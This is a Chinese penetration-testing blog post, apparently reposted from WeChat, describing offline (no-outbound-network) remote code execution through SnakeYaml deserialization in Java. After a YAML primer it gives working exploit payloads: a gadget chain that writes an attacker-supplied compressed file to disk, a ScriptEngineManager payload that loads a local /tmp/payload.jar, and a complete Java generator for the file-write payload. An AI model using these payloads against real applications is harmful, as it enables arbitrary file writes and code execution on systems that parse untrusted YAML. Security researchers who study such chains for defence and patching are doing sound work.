SnakeYaml 之不出网利用

渗透技巧 3年前 (2022) admin
809 0 0

前言

SnakeYaml现有的通用利用方式是ScriptEngineManager这条链。这条链会在反序列化ScriptEngineManager的时候,在构造函数触发的函数调用中,通过spi机制去加载远程的jar包从而导致命令执行。这条链有一个利用前提就是需要出网,在不出网的环境下就无法RCE。P神的小密圈中leveryd师傅给出了SnakeYaml的不出网利用方式的思路,故有了本文。对思路感到惊叹的同时却也叹息于自己的菜。

基本概念

简介

SnakeYaml是java的yaml解析类库,支持Java对象的序列化/反序列化。

Yaml基础语法

YAML基本格式要求:

  1. YAML大小写敏感;
  2. 使用缩进代表层级关系;
  3. 缩进只能使用空格,不能使用TAB,不要求空格个数,只需要相同层级左对齐(一般2个或4个空格)

示例如下:

environments:
    dev:
        url: http://dev.bar.com
        name: Developer Setup
    prod:
        url: http://foo.bar.com
        name: My Cool App
my:
    servers:
        - dev.bar.com
        - foo.bar.com

YAML支持三种数据结构:

1、对象

使用冒号代表,格式为key: value。冒号后面要加一个空格:

key: value

可以使用缩进表示层级关系:

key: 
    child-key: value
    child-key2: value2

2、数组

使用一个短横线加一个空格代表一个数组项:

hobby:
    - Java
    - LOL

3、常量

YAML中提供了多种常量结构,包括:整数,浮点数,字符串,NULL,日期,布尔,时间。下面使用一个例子来快速了解常量的基本使用:

boolean: 
    - TRUE  #true,True都可以
    - FALSE  #false,False都可以
float:
    - 3.14
    - 6.8523015e+5  #可以使用科学计数法
int:
    - 123
    - 0b1010_0111_0100_1010_1110    #二进制表示
null:
    nodeName: 'node'
    parent: ~  #使用~表示null
string:
    - 哈哈
    - 'Hello world'  #可以使用双引号或者单引号包裹特殊字符
    - newline
      newline2    #字符串可以拆成多行,每一行会被转化成一个空格
date:
    - 2018-02-17    #日期必须使用ISO 8601格式,即yyyy-MM-dd
datetime: 
    -  2018-02-17T15:02:31+08:00    #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区

不出网POC构造

线索

SnakeYaml 之不出网利用

leveryd师傅[1]给了两条链接

第一步,FastJson 1.2.68链写本地文件[2]

第二步,ScriptEngineManager加载本地jar包进行代码执行[3]

疑惑点

对snakeyaml反序列化赋值的过程不清楚,为啥snakeyaml能应用fastjson的反序列化利用链。

Snakeyaml的反序列化方式

1、无构造函数和set函数情况下 snakeyaml 将使用反射的方式自动赋值。

声明如下类A

package com.zlg.SnakeYaml;

public class ModelA {
    public int  a;
    public int b;
}

使用如下方法反序列化

Yaml yaml = new Yaml();
ModelA a = (ModelA) yaml.load("!!com.zlg.SnakeYaml.ModelA {a: 5, b: 0}") ;
System.out.println(yaml.dump(a));

将反序列化成功。

2、构造函数

声明如下类B

public class ModelB {
    public int a;
    public int b;

    public ModelB(int a,int b){
        this.a = a;
        this.b = b;
    }
    
}

使用如下方式反序列化

ModelB b = (ModelB) yaml.load("!!com.zlg.SnakeYaml.ModelB [5 , 0 ]") ;
System.out.println(yaml.dump(b));

可以看的出来[]是调用构造函数的一个标志,在构造函数中下断点,也能够成功调到。

SnakeYaml 之不出网利用

需要注意 snakeyaml 反序列化时,如果类中的成员变量全为私有将会失败(调试得知)。

3、调用setXX函数

这个是最关键的部分,声明如下类C

package com.zlg.SnakeYaml;

public class ModelC {
    public int a;

    public void setInput(int a){
        this.a = a;
    }


}

使用如下方式反序列化

ModelC c = (ModelC) yaml.load("!!com.zlg.SnakeYaml.ModelC {input : 5}") ;
System.out.println(yaml.dump(c));

运行并下好断点。

SnakeYaml 之不出网利用

可以看到调用set函数的方式和无构造函数的方式写法差不多,比如要调用setInput函数,把set去掉将后面单词全部小写后,传入SetInput的参数就可以调用

到此为止,意味着snakeyaml 可以利用fastjson和Jackson的所有利用链(反之不一定行),并且还没有autotype的限制。不过fastjson和jackson好像也没有直接RCE的链,并且还多依赖于三方jar包,通过改写1.2.68 写文件的链和ScriptManager本地加载jar包的方式 仅需依赖jdk就可以完成RCE。

fastjson 1.2.68调用链观察

根据给的链接里的描述,这条链脱胎于浅蓝的POC。

{
    '@type':"java.lang.AutoCloseable",
    '@type':'sun.rmi.server.MarshalOutputStream',
    'out':
    {
        '@type':'java.util.zip.InflaterOutputStream',
        'out':
        {
           '@type':'java.io.FileOutputStream',
           'file':'dst',
           'append':false
        },
        'infl':
        {
            'input':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=='
        },
        'bufLen':1048576
    },
    'protocolVersion':1
}

最终POC

1、依样画葫芦 将fastjson 1.2.68本地写文件的链改写为yaml形式。在实际过程中,可以将jar包写在tmp目录下(linux系统下),这个目录一般都会有权限。

!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["Destpath"],false],!!java.util.zip.Inflater  { input: !!binary base64str },1048576]]

注意:Destpath为生成的文件路径,base64str为经过zlib压缩过后的文件内容。

这个poc写的很简单,但趟了两个坑,一个是数据需要经过openssl zlib方式的压缩,第二个是snakeyaml中byte数组的构造方式(说多了都是泪)

如下面的例子 要是像下图那样构造byte数组,将会出错,后来组合排列试了n次,试出了!!binary  base64str表示byte数组

SnakeYaml 之不出网利用

2、ScriptEngineManager本地加载文件

!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///tmp/payload.jar"]]]]

写了一份java代码能够直接生成写文件的POC,使用createPoC函数,入参分别为源端文件(要写的文件内容)和目的端文件(生成的文件路径),返回值为写文件的POC。snakeyaml 不出网RCE之路就到此为止了。

package com.zlg.serialize.snakeyaml;

import org.yaml.snakeyaml.Yaml;

import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.zip.Deflater;


public class SnakeYamlOffInternet {
    public static void main(String [] args) throws Exception {
        String poc = createPoC("./1.txt","./file/yaml-payload.txt");
        Yaml yaml = new Yaml();
        yaml.load(poc);

    }


    public static String createPoC(String SrcPath,String Destpath) throws Exception {
        File file = new File(SrcPath);
        Long FileLength = file.length();
        byte[] FileContent = new byte[FileLength.intValue()];
        try{
            FileInputStream in = new FileInputStream(file);
            in.read(FileContent);
            in.close();
        }
        catch (FileNotFoundException e){
            e.printStackTrace();
        }
        byte[] compressbytes = compress(FileContent);
        String base64str = Base64.getEncoder().encodeToString(compressbytes);
        String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [""+Destpath+""],false],!!java.util.zip.Inflater  { input: !!binary "+base64str+" },1048576]]";
        System.out.println(poc);
        return poc;
    }

    public static byte[] compress(byte[] data) {
        byte[] output = new byte[0];

        Deflater compresser = new Deflater();

        compresser.reset();
        compresser.setInput(data);
        compresser.finish();
        ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
        try {
            byte[] buf = new byte[1024];
            while (!compresser.finished()) {
                int i = compresser.deflate(buf);
                bos.write(buf, 0, i);
            }
            output = bos.toByteArray();
        } catch (Exception e) {
            output = data;
            e.printStackTrace();
        } finally {
            try {
                bos.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        compresser.end();
        return output;
    }
}

总结

师傅们的思路总是很清奇,学到了!

参考

https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x02-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E

http://scz.617.cn:8/web/202008111715.txt

参考资料

[1]

leveryd师傅: http://www.leveryd.top/archives/

[2]

FastJson 1.2.68链写本地文件: http://scz.617.cn:8/web/202008111715.txt

[3]

ScriptEngineManager加载本地jar包进行代码执行: https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E

原文始发于微信公众号(leveryd):SnakeYaml 之不出网利用

版权声明:admin 发表于 2022年1月23日 下午2:03。
转载请注明:SnakeYaml 之不出网利用 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...